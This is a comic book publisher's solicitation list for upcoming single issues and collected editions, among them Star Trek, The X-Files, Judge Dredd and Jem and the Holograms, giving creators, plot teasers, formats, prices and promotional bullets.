  • “This issue has all the action and adventure you’d expect to find and the surprises at the end make this installment a great read.” — Blog of Oa
  • “Stranger Worlds is terrific fun for comic book fans of both Star Trek and Green Lantern.” — TrekMovie
Star Trek: The Classic UK Comics, Vol. 3
  • Various (w) • John Stokes, Jim Baikie, John Canning, Ron Turner, Frank Bellamy (a) • Various (c)
  • This third volume reprints all comics from 1972 to 1979 and concludes the 3-volume series that presents the complete Star Trek UK comics. Bonus material includes various one-shots and annuals, as well as strips created for various merchandise and toys. Star Trek expert Rich Handley provides the second half of a detailed encyclopedia of all things Star Trek from these British comics. Exploring the minutiae is half the fun of enjoying a franchise, and when it comes to Trek, there’s no end of trivia to devour.
  • HC • FC • $49.99 • 272 pages • 8.5” x 11” • ISBN: 978-1-63140-967-7
  • Advance Solicited for September release!
  • “The book is a marvelously oddball artifact of Trek lore. The stories themselves are similar to what Gold Key was publishing in America—that is to say, cheesy and clunky but charming nonetheless. The difference, though, is that the UK strips are flat-out gorgeous.” —13thDimension.com
Star Trek: TNG: Mirror Broken #3 (of 6)—Cover A: J.K. Woodward
  • Scott Tipton & David Tipton (w) • J.K. Woodward (a & c)
  • The heist is on! Jean-Luc Picard and his cadre of mutineers set their plan into action, with the spoils the greatest prize of all: the Empire’s only Galaxy-class starship, the U.S.S. Enterprise!
  • FC • 32 pages • $3.99
Star Trek: TNG: Mirror Broken #3 (of 6)—Cover B: George Caltsoudas
  • Scott Tipton & David Tipton (w) • J.K. Woodward (a) • George Caltsoudas (c)
  • FC • 32 pages • $3.99
  • As seen on Free Comic Book Day!
  • With the arrival of the Enterprise’s new Chief Medical Officer Beverly Crusher comes another question: whose side will she be on?
  • Variant cover by Tony Shasteen!
Star Trek Waypoint #6—Cover A: Gabriel Hardman
  • Gabriel Hardman, Corinna Bechko (w) • Gabriel Hardman, Christopher Herndon (a) Gabriel Hardman (c)
  • Nurse Chapel questions whether or not to continue her medical training until a shuttle incident prompts her to make decisions that will forever change her future. In the second story, Captain Kirk is forced to work with the Romulans after a biological weapon is unleashed, with unexpected – and surprising – results.
  • FC • 32 pages • $3.99
Star Trek Waypoint #6—Cover B: Tom Whalen
  • Gabriel Hardman, Corinna Bechko (w) • Gabriel Hardman, Christopher Herndon (a) • Tom Whalen (c)
  • FC • 32 pages • $3.99
  • 2 stories from the fan-favorite Image sci-fi hit, INVISIBLE REPUBLIC!
  • One story from the Original Series era, and one from the never-before-seen Phase II era!
  • Don’t miss the Original Series Spock cover by Mondo artist Tom Whalen, part of our Tom Whalen Cover Month!
  • Photo variant cover!
The X-Files #16—Cover A: menton3
  • Joe Harris (w) • Matthew Dow Smith (a) • menton3 (c)
  • “Resistance,” Part 3 (of 4): With Scully under arrest, Mulder must partner with a hated enemy in order to bring down a corrupt official.
  • FC • 32 pages • $3.99
The X-Files #16—Cover B: Tom Whalen
  • Joe Harris (w) • Matthew Dow Smith (a) • Tom Whalen (c)
  • FC • 32 pages • $3.99
  • Executive produced by The X-Files creator Chris Carter!
  • Don’t miss the Flukeman cover by Mondo artist Tom Whalen, part of our Tom Whalen Cover Month!
The X-Files: Origins—Dog Days of Summer #2 (of 4)—Cover A: Chris Fenoglio & Corin Howell
  • Jody Houser & Matthew Dow Smith (w) • Chris Fenoglio, Corin Howell (a & c)
  • Before the FBI, before the X-Files, they were just two teenagers in search of the truth. On Martha’s Vineyard, a strange encounter with a deaf girl sends 13-year-old Fox Mulder on the hunt for a mysterious signal. While in San Diego, young Dana Scully looks into a plane crash somehow tied to the man she helped put in jail. Two kids, two mysteries, one conspiracy that threatens the future of humanity.
  • FC • 32 pages • $3.99
The X-Files: Origins—Dog Days of Summer #2 (of 4)—Cover B: Cat Staggs
  • Jody Houser & Matthew Dow Smith (w) • Chris Fenoglio, Corin Howell • Cat Staggs (c)
  • FC • 32 pages • $3.99
  • The hit miniseries of last summer returns!
  • Mulder and Scully star in separate tales depicting their teen years!
  • See what made them into the characters we’ve come to love!
  • Especially crafted for young adult readers!
  • Mystery novel variant covers by Cat Staggs (Orphan Black)!
Orphan Black: Deviations #5 (of 6)—Cover A: Cat Staggs
  • Heli Kennedy (w) • Wayne Nichols (a) • Cat Staggs (c)
  • In a world where Sarah managed to save Beth from taking her own life! With this single twist of fate, the Clone Club comes together in a completely different manner and the mystery of Project LEDA unfolds in new, exiting ways! See all your favorite characters return in an all-new light!
  • FC • 32 pages • $3.99
Orphan Black: Deviations #5 (of 6)—Cover B: Fico Ossio
  • Heli Kennedy (w) • Wayne Nichols (a) • Fico Ossio (c)
  • FC • 32 pages • $3.99
  • Find out what happens in a world… where Sarah saved Beth!
  • Ask your retailer about the papercraft covers!
  • Variant cover by Kelly Blake!
Judge Dredd: The Blessed Earth #4— Cover A: Ulises Fariñas
  • Ulises Fariñas & Erick Freitas (w) • Daniel Irizarri (a) • Ulises Fariñas (c)
  • Judge Dredd continues his mission to restore order to a lawless land! With settlements overflowing with garbage and sewage, Dredd goes on a mission of mercy. It’s a dirty job, but Dredd’s gotta do it!
  • FC • 32 pages • $3.99
Judge Dredd: The Blessed Earth #4— Cover B: Tom Whalen
  • Ulises Fariñas & Erick Freitas (w) • Daniel Irizarri (a) • Tom Whalen (c)
  • FC • 32 pages • $3.99
  • The sequel to the critically acclaimed Mega-City Zero storyline continues!
  • Don’t miss the Judge Dredd cover by Mondo artist Tom Whalen, part of our Tom Whalen Cover Month!
  • Variant cover by Valentin Ramon!
24: Legacy—Rules of Engagement #4 (of 5)— Cover A: Georges Jeanty
  • Christopher Farnsworth (w) • Antonio Fuso (a) • Georges Jeanty (c)
  • The clock has been reset with 24: Legacy, and this limited series explores the past of its new leading character, Eric Carter, who led the elite squad responsible for killing an infamous terrorist leader and, consequently, forced into hiding. But before he was a national hero and a wanted man, Carter learned the Rules of Engagement in the streets of Iraq and Washington, D.C.
  • FC • 32 pages • $3.99
24: Legacy—Rules of Engagement #4 (of 5)— Cover B: Photo
  • Christopher Farnsworth (w) • Antonio Fuso (a) • Photo (c)
  • FC • 32 pages • $3.99
  • Based on the new hit iteration of the 24 franchise!
  • Executive produced by Manny Coto and Evan Katz, writers of the show!
  • Covers by Georges Jeanty (Serenity)!
  • ach issue will have a photo cover featuring the cast of the show!
  • Written by Christopher Farnsworth, journalist, screenwriter and the author of The President’s Vampire series.
Kull Eternal #2— Cover A: Luca Pizzari
  • Tom Waltz (w) • Luca Pizzari (a) • Luca Pizzari (c)
  • Robert E. Howard’s legendary warrior king returns! Kull of Atlantis as been called from his mysterious mirror limbo throughout America’s history to wage battle during major crisis events—so-called Fourth Turnings—that mark the death of one age and the birth of another, greater one. Now, the time as come for the final Turning… but can Kull survive America’s greatest crisis and claim his long-prophesized New Atlantean throne?
  • FC • 32 pages • $3.99
Kull Eternal #2— Cover B: Alex Sanchez
  • Tom Waltz (w) • Luca Pizzari (a) • Alex Sanchez (c)
  • FC • 32 pages • $3.99
  • Robert E. Howard’s legendary warrior king as you’ve never seen him before!
  • Written by Tom Waltz (Teenage Mutant Ninja Turtles) and illustrated by Luca Pizzari (Marvel’s Black Knight).
  • Action, adventure, romance, and political intrigue spanning the ages!
  • Variant cover by Julio Das Pastoras!

Wynonna Earp: Season Zero #2 (of 5) —Cover A: Chris Evenhuis
  • Beau Smith (w) • Angel Hernandez (a) • Chris Evenhuis (c)
  • As Wynonna Earp’s old gang—The Banditos—start dropping one by the one, the villains responsible for the hit job reveal themselves. They want something The Banditos hid away long ago—and Wynonna is the key!
  • FC • 32 pages • $3.99
Wynonna Earp: Season Zero #2 (of 5)—Cover B: Photo
  • Beau Smith (w) • Angel Hernandez (a) • Photo (c)
  • FC • 32 pages • $3.99
  • Never-before-told story that ties into Syfy’s Wynonna Earp TV series!
  • Wynonna Earp returns to Syfy in June!
  • Secrets of Wynonna Earp’s past revealed!
Dirk Gently: The Salmon of Doubt #10— Cover A: Ilias Kyriazis
  • Arvind Ethan David (w) • Ilias Kyriazis (a & c)
  • With Dirk’s fateful decision made, will he meet his maker? Guest starring Douglas Adams himself! Featuring favorite characters from the original books as well as the cast from the TV series, including Samuel Barnett and Elijah Wood!
  • FC • 32 pages • $3.99
Dirk Gently: The Salmon of Doubt #10— Cover B: Photo
  • Arvind Ethan David (w) • Ilias Kyriazis (a) • Photo (c)
  • FC • 32 pages • $3.99
  • The star of two (almost three) beloved Douglas Adams novels!
  • Written by executive producer of the TV series Arvind Ethan David!
  • Executive produced by Max Landis (Chronicle and Superman: American Alien), the writer of the BBC America TV series!
  • Each issue will have a photo cover featuring the cast of the show!
  • Variant cover by Robert Hack!
Darkness Visible #6— Cover A: Livio Ramondelli
  • Mike Carey & Arvind Ethan David (w) • Livio Ramondelli (a & c)
  • When the demons came, humanity reluctantly learned to share the world with another sentient race. Eighty years later, this uneasy co-existence has spawned an endless terrorist conflict. This special issue, with guest artist Livio Ramondelli, reveals the secret backstory of forensic scientist Glory Kullinek.
  • FC • 32 pages • $3.99
Darkness Visible #6— Cover B: Dave Kendall
  • Mike Carey & Arvind Ethan David (w) • Livio Ramondelli (a) • Dave Kendall (c)
  • FC • 32 pages • $3.99
  • From bestselling author and screenwriter Mike Carey (Unwritten, Lucifer, Girl with All the Gifts) and Arvind Ethan David (Dirk Gently’s Holistic Detective Agency) comes an all-new, original world of darkness and demons.
Diablo House #1—Cover A: Santipérez—SPOTLIGHT
  • Ted Adams (w) • Santipérez (a & c)
  • Located along the sleepy coastal town of La Jolla, California, Diablo House lets you make your dreams come true – if you dare. Surf-bum and Diablo House host, Riley, takes us into his home and shares the stories of the people who let their desire come at the cost of all else. Inspired by the classic horror comics of the past!
  • FC • 32 pages • $3.99
Diablo House #1—Cover B: Santipérez
  • Ted Adams (w) • Santipérez (a & c)
  • FC • 32 pages • $3.99
  • Inspired by classic horror comics of the past!
  • Written by IDW CEO, and co-founder, Ted Adams and illustrated by Spanish newcomer, Santipérez!
  • Variant cover by Gabriel Rodriguez!
Saucer Country—SPOTLIGHT
  • Paul Cornell (w) • Ryan Kelly (a & c)
  • THEY’RE UP THERE… Meet Arcadia Alvarado, Governor of New Mexico and Presidential hopeful. She’s dealing with immigration policy, budget cuts, an alcoholic ex–and she was abducted by aliens. Or was she? It’s a strange road to the White House but Alvarado is determined to get there because she has information that could stop an alien invasion and save the world.
  • Collects all 14 issues of the original series.
  • TPB • FC • $29.99 • 300 pages • ISBN: 978-1-68405-095-6
  • Advance solicited for August release!
  • “Writer Paul Cornell weaves strands of alien abduction creepiness and energetic, Aaron Sorkin-style banter deftly.” — Kabooooom
Saucer State #3 (of 6)—Cover A: Ryan Kelly
  • Paul Cornell (w) • Ryan Kelly (a & c)
  • With a real alien ship a year away from Earth, Arcadia’s far right political foes are suggesting something that sounds horribly like revolution. Meanwhile, fairies are offering her ex-husband a cake-for-access deal. No, really. It’s the start of a quest that will unlock the secrets of reality as the series takes its unique mixture of House of Cards and Jeff Kripal to… Russia? Soon readers everywhere will be able to say, “Oh, they went there.” Because there is where we live.
  • FC • 32 pages • $3.99
Saucer State #3 (of 6)—Cover B: Jeffrey Veregge
  • Paul Cornell (w) • Ryan Kelly (a) • Jeffrey Veregge (c)
  • FC • 32 pages • $3.99
  • Picks up where Saucer Country left off!
  • One of the very few mainstream comics to be nominated for SF’s prestigious Hugo Award!
  • Tackles real world US politics from the point of view of a female President!
Brutal Nature: Concrete Fury #5 (of 5)— Cover A: Ariel Olivetti
  • Luciano Saracino (w) • Ariel Olivetti (a & c)
  • Captured by his worst enemies with the fate of his family uncertain—there’s seemingly no escape for Curt. But will the shapeshifting masks reveal the true nature of Curt’s warrior spirit before it’s too late?
  • FC • 32 pages • $3.99
Brutal Nature: Concrete Fury #5 (of 5)— Cover B: Ariel Olivetti
  • Luciano Saracino (w) • Ariel Olivetti (a & c)
  • FC • 32 pages • $3.99
  • The beautifully painted story continues, featuring art by comics superstar Ariel Olivetti!
Starstruck: Old Proldiers Never Die #6 (of 6)
  • Elaine Lee (w) • Michael Kaluta (a & c)
  • Annie takes Harry to heaven—Blue Heaven—where he finds Miz Ti, the Galactic Girl Guides, some disturbing sensory input, and a little more than he’d bargained for. He’s reached the end of his story, but is Harry ready for the afterlife? Old friends are there to guide him, but he’s just not feeling himself!
  • FC • 32 pages • $4.99
  • Completely new coloring, and 50% new art from Michael Kaluta over the course of the series!
Real Science Adventures: The Flying She-Devils #4 (of 6)—Cover A: Scott Wegener
  • Brian Clevinger (w) • Lo Baker (a) • Scott Wegener (c)
  • Action, Adventure, Excitement—oh wait, I’m sorry, what? We’ve already been sued? I’m sorry, how much? Okaaay, well! You better order a lot of these and help us out.
  • FC • 32 pages • $3.99
Real Science Adventures: The Flying She-Devils #4 (of 6)—Cover B: Brooke Allen
  • Brian Clevinger (w) • Lo Baker (a) • Brooke Allen (c)
  • FC • 32 pages • $3.99
  • From the pages of Atomic Robo, the Flying She-Devils embark on a new daring adventure!
  • The spinoff story to the online sensation—in print for the first time!
Dread Gods #1—Cover A: Tom Raney
  • Ron Marz (w) • Tom Raney, Bart Sears(a) • Tom Raney (c)
  • Ominous Press launches with the first of three limited series set in a science-fiction/fantasy universe of epic heroes and insidious villains. In DREAD GODS, gods in a fantasy world discover they’re actually monsters in a post-apocalyptic landscape. Acclaimed creators Ron Marz and Tom Raney join with art master Bart Sears to usher in adventure like no other! Includes a backup tale by Bart Sears, and a wealth of added content.
  • FC • 48 pages • $3.99
Dread Gods #1—Cover B: Bart Sears
  • Ron Marz (w) • Tom Raney, Bart Sears (a) • Bart Sears (c)
  • FC • 48 pages • $3.99
  • Special over-sized issue at regular price!
  • The Ominous Universe starts HERE! Introducing new worlds of epic adventure!
  • Gods and monsters unleashed in a fantastic landscape!
  • Written by Ron Marz (Green Lantern, Witchblade) and lavishly illustrated by Tom Raney (X-Men, Thor)!
  • Created by comic master Bart Sears!
  • Variant covers by Kenneth Rocafort and Neal Adams!
Locke & Key: Heaven & Earth Deluxe Hardcover Edition—SPOTLIGHT
  • Joe Hill (w) • Gabriel Rodriguez & Jay Fotos (a) • Gabriel Rodriguez (c)
  • Following the Small World deluxe edition, this special deluxe release finally reprints the oft-requested and long-denied Eisner-winning one-shot, “Open the Moon!” Plus the other long-sold-out one-shot, “Grindhouse!” PLUS plus: the even more hard-to-find IDW 10th anniversary Locke & Key tale, “In the Can!” And additional covers, behind-the-scenes photos and more, all wrapped up in a beautiful 72-page hardcover package.
  • HC • FC • 72 pages • $14.99 • ISBN: 978-1-68405-181-6
  • The long-sold-out Eisner-winning “Open the Moon,” re-presented at last!
  • Along with the nearly impossible-to-find one-shots “Grindhouse” and “In the Can!”
  • Plus additional Locke & Key covers, photo gallery and more!
  • Brand-new cover by L&K co-creator Gabriel Rodriguez!
Comic Book History of Comics: Birth of a Medium—CERTIFIED COOL
  • Fred Van Lente & Ryan Dunlavey (w & a) • Ryan Dunlavey (c)
  • The inspiring, infuriating, and utterly insane story of comics, graphic novels, and manga is presented in comic book form! The award-winning Action Philosophers team of Fred Van Lente and Ryan Dunlavey turn their irreverent-but-accurate eye to the stories of Jack Kirby, R. Crumb, Harvey Kurtzman, Stan Lee, Will Eisner, Fredric Wertham, Roy Lichtenstein, and more! Reprinting the classic series in bold new color!
  • TPB • FC • $19.99 • 144 pages • ISBN: 978-1-63140-925-7
  • Advance solicited for August release!
  • Presented in all-new color!
  • Featuring new stories about the pioneering women in comics!
  • “Comics has finally gotten the history—and the historians—it deserves.” —Matt Fraction
Richard Stark’s Parker: The Score TPB—CERTIFIED COOL
  • Richard Stark, Darwyn Cooke (w) • Darwyn Cooke (a & c)
  • “The Score” is a high-octane trip across America, as Parker assembles a dozen of the best caper men he can find to knock over his most audacious target yet: an entire town. They scheme, they prepare, and they execute with military precision unaware that the whole thing is about to blow up in their faces. Long considered a high watermark in the Parker series, this new graphic adaptation brings the original to violent, double-crossing life.
  • TPB • PC • $17.99 • 160 pages • 6” x 9” • ISBN: 978-1-63140-996-7
  • Richard Stark’s classic crime novel adapted by Darwyn Cooke.
  • Winner of the prestigious Eisner Award.
Time & Vine #1—Cover A: Thom Zahler—CERTIFIED COOL
  • Thom Zahler (w & a & c)
  • A grade school history teacher, looking for a respite from her life’s problems, finds the ultimate escape when the owner of a local winery reveals its secret to her: drink the right glass of wine in the right tasting room, and travel back in time to the year it was bottled. Together, they’ll journey through the history of the 200-year old winery… as well as their own.
  • FC • 48 pages • $4.99
Time & Vine #1—Cover B: Thom Zahler
  • Thom Zahler (w & a & c)
  • FC • 48 pages • $4.99
Night Owl Society—CERTIFIED COOL
  • James Venhaus (w) • Pius Bak (a & c)
  • High school loner David Foxworth’s best friend is killed by a local mob boss, and the police won’t do anything about it. With nothing but his allowance and an overdeveloped sense of right and wrong, David gathers a group of fellow outsiders and misfits and decides to take matters into his own hands. By night they sneak out to disrupt the mob’s business and by day they maintain their perfect GPAs. They are The Night Owl Society. But, one of them is hiding a secret that could destroy the team. Will they survive without getting killed or grounded?
  • TPB • FC • $17.99 • 100 pages • ISBN: 978-1-63140-933-2
  • Advance solicited for August release!
  • The Outsiders meets The Departed in this cutting piece of genre fiction.
  • Ryan Ferrier (w) • Valentin Ramon (a & c)
  • After conquering 34RTH as the greatest robot war hero, then saving it from invading aliens, D4VE’s next campaign gets political! In the wake of a robo-political assassination, D4VE begins a presidential campaign. A hip new app startup has other plans for the robot society, however, and creates the perfect political rival. The third arc of the acclaimed D4VE series returns in D4VEOCRACY.
  • TPB • FC • $17.99 • 100 pages • ISBN: 978-1-63140-927-1
  • Advance solicited for August release!
  • “True to form, D4VEOCRACY is silly in how comically true-to-life it can be, but that’s what makes it so good. Ferrier and Ramon’s mix of unique writing and art continue to breathe life into the robot world, as we’re greeted with familiar themes from earlier arcs that better prime us for what’s to come.” –The Fandom Post
P. Craig Russell’s Strange Dreams Artist’s Edition—SPOTLIGHT
  • Don McGregor, Marc Andreyko (w) • P. Craig Russell (a & c)
  • This gorgeous Artist’s Edition features two classic stories by master artist P. Craig Russell. The first is the final Killraven collaboration between Russell and McGregor in Marvel Graphic Novel #7, followed by Russell’s Doctor Strange: What is it That Disturbs You, Stephen? Both stories are complete and stand-alone adventures, and delicately delineated in Russell’s lovely illustrative style. Rounding out this Artist’s Edition will be a gallery section with earlier examples of Russell’s Killraven and Doctor Strange works.
  • BW • 12×17” • HC • 144 pages • $125.00
Jungle Girls
  • Mitch Maglio, Craig Yoe (editors) • Matt Baker, Maurice Whitman, L.B. Cole (a) • L.B. Cole (c)
  • An anthology that collects the best Golden Age (1940s–1950s) comic book stories featuring strong female versions of Tarzan. The sassy, brassy, and beautiful girls of the four-color Golden Age don’t just rule the jungle, they look good doing it, too! Strong, sexy, leopard-clad women fight apes, lions, and evil white-man traders while the Tarzan-like boyfriends cling to their vines watching admiringly from a safe distance.
  • HC • FC • $29.99 • 160 pages • 8.5” x 11” • ISBN: 978-1-63140-915-8
  • Advance solicited for September release!
  • “[Craig Yoe’s] work on publications and artists that time forgot has made him the Turner Classic Movies of comic book historians.” –USA Today
Weird Love #19
  • Various (w) • Various (a) • Fred Kida (c)
  • As if roller derby wasn’t weird enough now it gets the funky Pre-Code romance comic book treatment! Plus there’s another story involving steamy female wrestlers! How about the cringe-worthy “Henpeck House”?!? Then there’s “They Called My Dad Old Bad” the less said about that the better! “My Secret Heart” is incredibly surreal wackiness. Plus a love advice comic you must read: “How to Make a Man Miserable!”
  • FC • 32 pages • $4.99
Popeye Classics #60
  • Bud Sagendorf (w & a & c)
  • The classic Bud Sagendorf stories just keep getting nuttier, crazier, and funnier! Olive pits Popeye and Bluto against each other because she wants to … BUILD A WALL! More stories: one with a saucy mermaid that P.O.’s Olive, another with O.G. Wotasnozzle. Plus TWO MORE FEATURES!
  • “There’s no comics with as much pure undiluted comic bookiness, stream-of-consciousness, and outlandish stories. They’re super fun!” —Gutters & Panels
  • FC • 32 pages • $4.99
  • Variant cover by “Toxic” Tommy O’brien!
Corto Maltese: Fable of Venice—SPOTLIGHT
  • Hugo Pratt (w & a & c)
  • In this affectionate tribute to his hometown, Hugo Pratt offers a complex mystery thriller involving Freemasons, occultists, and esotericists set during the rise of Fascism in 1921. Corto Maltese’s return to Venice is ostensibly a search for an emerald known as the Clavicle of Solomon, but by the end he is left questioning whether the object of his quest will open the hidden doors of magic and unravel the nature of time and space in this city of secrets… or if it’s merely “the stuff that dreams are made of,” as was the black bird of Dashiell Hammett’s novel featuring another Maltese.
  • TPB • B&W • $22.99 • 64 pages • 8.5” x 11” • ISBN: 978-1-63140-926-4
  • Advance solicited for August release!
  • Series winner of the Harvey Award for Best American Edition of Foreign Material.
R. CRUMB: From the Underground to GENESIS—CERTIFIED COOL
  • R. Crumb (a & c)
  • The Modern Art Museum of the City of Paris (Musée d’art moderne de la ville de Paris) presents a premier retrospective exhibition on one of the greatest illustrators of the past fifty years: Robert Crumb. One of the pioneers of Underground comics, he represents a mythical figure in American counter-culture.
  • HC • PC • $44.99 • 240 pages • 9” x 11.75” • ISBN: 978-1-68405-109-0
  • Advance solicited for August release!
  • “During adolescence I couldn’t fit in… but it freed me to drop that Hollywood ideal and pursue the people that I thought attractive.” — R. Crumb on his work (The Guardian, 4/24/2016)
The Art of the Pulps: An Illustrated History—CERTIFIED COOL
  • Doug Ellis, Ed Hulse, Robert Weinberg, Mike Ashley, Tom Roberts (w) • N/A (a & c)
  • A team of experts in each of the ten major Pulp genres, from action Pulps to spicy Pulps and more, chart for the first time the complete history of Pulp magazines—the stories and their writers, the graphics and their artists, and, of course, the publishers, their market, and readers.
  • Each chapter in the book, which is illustrated with more than 400 examples of the best Pulp graphics (many from the Editors’ collections—among the world’s largest) is organized in a clear and accessible way, starting with an introductory overview of the genre, followed by a selection of the best covers and interior graphics, organized chronologically through the chapter.
  • HC • FC • $39.99 • 240 pages • 9.75” x 11” • ISBN: 978-1-68405-091-8
  • Advance solicited for September release!
  • The first definitive visual history of the Pulps.
  • Zep (w & a & c)
  • In this original graphic novel, the last time that the rock group Tricky Fingers found themselves in the same spot was eighteen years ago for a concert in the BBC studios that was supposed to launch their career… but instead ended in catastrophe. Since then, this group of friends that once harbored dreams of revolutionizing rock has parted ways, most drifting into musical obscurity. Except Sandro. His initiative brings the group together for the weekend to find out where life has taken them. How their fortunes have faired. To see if they’ve learned anything since they were teenagers.
  • HC • FC • $19.99 • 64 pages • 9.25” x 12.25” • ISBN: 978-1-63140-961-5
  • Advance solicited for September release!
  • Tap into “what could have been” and “what never was” in this powerful story of friendship and betrayal from French illustration powerhouse, Zep.
Behind You: One-Shot Horror Stories—CERTIFIED COOL
  • Brian Coldrick (w & a & c)
  • A twisted figure crawling out of a tunnel. A giggling crowd of masked watchers. A reassembling corpse. What could be behind you, just waiting for you to turn around?
  • Behind You is an illustration series, a comic with no panels, where each piece is essentially a separate story. Each tale is one image and one piece of text; an unsuspecting victim with someone, or something, behind them. Entries range from the amusingly weird to the genuinely unsettling. Inspired by spooky films, books, myths, and Internet tall tales, Behind You is full of scary set-ups but leaves lots of blanks for the reader to fill in with their own narrative.
  • HC • FC • $15.99 • 152 pages • 6” x 9” • ISBN: 978-1-63140-953-0
  • Advance solicited for September release!
  • Featuring an introduction by Joe Hill!
  • Begun as a webcomic in early 2015, the series has amassed fans including the likes of Joe Hill, Ramsey Campbell, and Neil Gaiman, and has been featured by io9, APlus, and The AV Club.
Jérôme K. Jérôme Blôche, Vol. 1: The Shadow Killer —SPOTLIGHT
  • Alain Dodier & Pierre Makyo & Serge Le Tendre (w) • Alain Dodier (a & c)
  • By day, the 20-year-old wanna-be sleuth Jérôme translates detective novels, while by night he’s enrolled in Professor Maison’s correspondence course for private eyes. And when fifteen people in Paris have been killed by poisoned darts, Jérôme gets his first case, capturing a flamboyant assassin who uses a blowgun. Unfortunately, things get off to a rocky start when the professor appears to be victim number sixteen!
  • Translated in English for the first time.
  • HC • FC • $14.99 • 56 pages • 8.5” x 11” • ISBN: 978-1-63140-902-8
  • Advance solicited for September release!
  • The first book in an ongoing series that has been a hit with Young Adult readers in Europe.
Hap And Leonard: Savage Season
  • Joe R. Lansdale (w) • Jussi Piironen (a & c)
  • Hap Collins and Leonard Pine are best friends, yet they couldn’t be more different. Hap is an East Texas white boy with a weakness for all women. Leonard is a gay, black Vietnam vet. Together, they stir up more commotion than a firestorm. But that’s just the way they like it. When Trudy, an ex-flame of Hap’s returns promising a huge score, Hap lets Leonard in on the scam. That’s when things get interesting. Joe R. Lansdale’s classic dark thriller has been adapted and vividly bought to life by Finnish illustrator Jussi Piironen. He stays faithful to the original novel and creates a visual treat for Hap and Leonard fans.
  • TPB • FC • $17.99 • 128 pages • ISBN: 978-1-68405-184-7
  • Advance solicited for September release!
  • The first-ever Hap and Leonard graphic novel!
  • Savage Season is the basis for the first season of Sundance TV’s Hap and Leonard!
  • Joe R. Lansdale’s classic dark thriller has been adapted and vividly bought to life by Finnish illustrator Jussi Piironen!
Sax Rohmer’s Dope—CERTIFIED COOL
  • Trina Robbins (w & a & c)
  • A talented young actress becomes fatally ensnared in London’s mysterious and glittery drug culture of the early 20th century. Trina Robbins’ comic book adaptation of Sax Rohmer’s sensational 1919 novel. DOPE was both the first novel to speak openly about the world’s international drug trade, and the first story to center around the death of a celebrity by drug overdose. As for the art, it is considered by many (including Trina herself) to be her best work ever as an illustrator.
  • HC • FC • $24.99 • 96 pages • 8.25” x 11” • ISBN: 978-1-63140-957-8
  • Advance solicited for September release!
  • Trina Robbins was an early and influential participant in the underground comix movement, and one of its few female artists. Both as a cartoonist and historian, she has long been involved in creating outlets for and promoting female comics artists.
Skylanders: Spyro & Friends Quarterly: FULL BLAST!—Cover A: Jack Lawrence
  • Ron Marz & David A. Rodriguez (w) • Jack Lawrence & Various (a) • Jack Lawrence (c)
  • Join Spyro and his fellow Skylanders as they embark on all-new adventures! Stealth Elf, Eruptor, Jet-Vac and all your favorites are here; ready to battle Kaos and all the various vile villains of the land!
  • FC • 48 pages • $4.99
Skylanders: Spyro & Friends Quarterly: FULL BLAST!—Cover B: David Baldeon
  • Ron Marz & David A. Rodriguez (w) • Jack Lawrence & Various (a) • David Baldeon (c)
  • FC • 48 pages • $4.99
  • New format—quarterly schedule, 48 pages!
  • Skylanders Academy season 2 premieres on Netflix this Fall with a third season already approved!
  • Skylanders Imaginators has been dubbed “…without question the best in the series…” by Forbes.com
  • There has never been a better time to be a Skylander fan!
Hanazuki: Full of Treasures #2— Cover A: Nico Peña
  • David Mariotte (w) • Nico Peña (a & c)
  • “Little Blue Hemka.” Oh no! Blue Hemka’s been flattened! Good thing Hanazuki’s here to help—if she can convince Sleepy Unicorn to use his magic!
  • FC • 32 pages • $3.99
Hanazuki: Full of Treasures #2— Cover B: Yasmin Sheikh
  • David Mariotte (w) • Nico Peña (a) • Yasmin Sheikh (c)
  • FC • 32 pages • $3.99
  • Based on the second episode of Hanazuki: Full of Treasures, the digital first series with millions of views on YouTube!
  • Don’t miss the RI cover by the animated series artist: Nicoletta Baldari!
  • Seriously, this is book is both cute and cool—just like you irresistible yumbuckets!
The Powerpuff Girls: The Time Tie #3 (of 3)—Philip Murphy Cover A
  • Haley Mancini & Jake Goldman (w) • Philip Murphy (a & c)
  • After being zapped by Mojo Jojo’s Time Tie, Buttercup ends up in Regency (old-timey-fancy) England! When the villainous Dandy absconds with a rare chronogem, Buttercup is going to have to take him down with extreme pride and prejudice if she wants to get back home to help her sisters defeat Mojo Jojo!
  • FC • 32 pages • $3.99
The Powerpuff Girls: The Time Tie #3 (of 3)—Andy Cung Cover B
  • Haley Mancini & Jake Goldman (w) • Philip Murphy (a) • Andy Cung (c)
  • FC • 32 pages • $3.99
  • The Powerpuff Girls are back in a brand-new three-issue series!
  • Each Powerpuff Girl travels to a different era and place in time in her own special issue!
  • Variant cover by Jarrett Williams!
Jem and the Holograms: Infinite #2 (of 3)—Cover A: Stacey Lee
  • Kelly Thompson (w) • Stacey Lee (a & c)
  • The FIRST EVER Jem/Misfits Crossover Event continues here in “INFINITE PART THREE!” Jem and The Holograms are transported to another world where they (and unlikely allies The Misfits!) must save the world from JEMCORP, a corrupt corporation that now controls all Hologram Technology!
  • FC • 32 pages • $3.99
Jem and the Holograms: Infinite #2 (of 3)—Cover B: Veronica Fish
  • Kelly Thompson (w) • Stacey Lee (a) • Veronica Fish (c)
  • FC • 32 pages • $3.99
  • Jerrica, Aja, Shana, and Kimber re-united with their father, Emmett Benton! Sort of!
  • And just who is behind JEMCORP?! The answer may surprise you! All the music, all the fashion, all the romance, all the sci-fi shenanigans begin here!
  • Interconnecting subscription covers on both Jem: Infinite and Jem: The Misfits: Infinite by Veronica Fish!
  • Variant cover by Genevieve FT!
Jem and the Holograms: The Misfits: Infinite #2 (of 3)— Cover A: Jenn St-Onge
  • Kelly Thompson (w) • Jenn St-Onge (a & c)
  • The FIRST EVER Jem/Misfits Crossover Event continues here in ” INFINITE PART FOUR!” Outside the walls, free of JEMCORP synergy technology, a resistance is building, one led by none other than bandmates and girlfriends Kimber and Stormer!
  • FC • 32 pages • $3.99
Jem and the Holograms: The Misfits: Infinite #2 (of 3)— Cover B: Veronica Fish
  • Kelly Thompson (w) • Jenn St-Onge (a) • Veronica Fish (c)
  • FC • 32 pages • $3.99
  • It’s going to take Jem and The Holograms, The Misfits, AND their alt-reality counterparts all working together to save this world…is that even possible?
  • And will Pizzazz be able to live with the fact that she must never reveal Jem’s secret? Some things may be too much to ask!
  • Interconnecting subscription covers on both Jem: Infinite and Jem: The Misfits: Infinite by Veronica Fish!
  • Variant cover by Caspar Wijngaard!
Jem and the Holograms: The Misfits—SPOTLIGHT
  • Kelly Thompson (w) • Jenn St-Onge (a) • M. Victoria Robada (c)
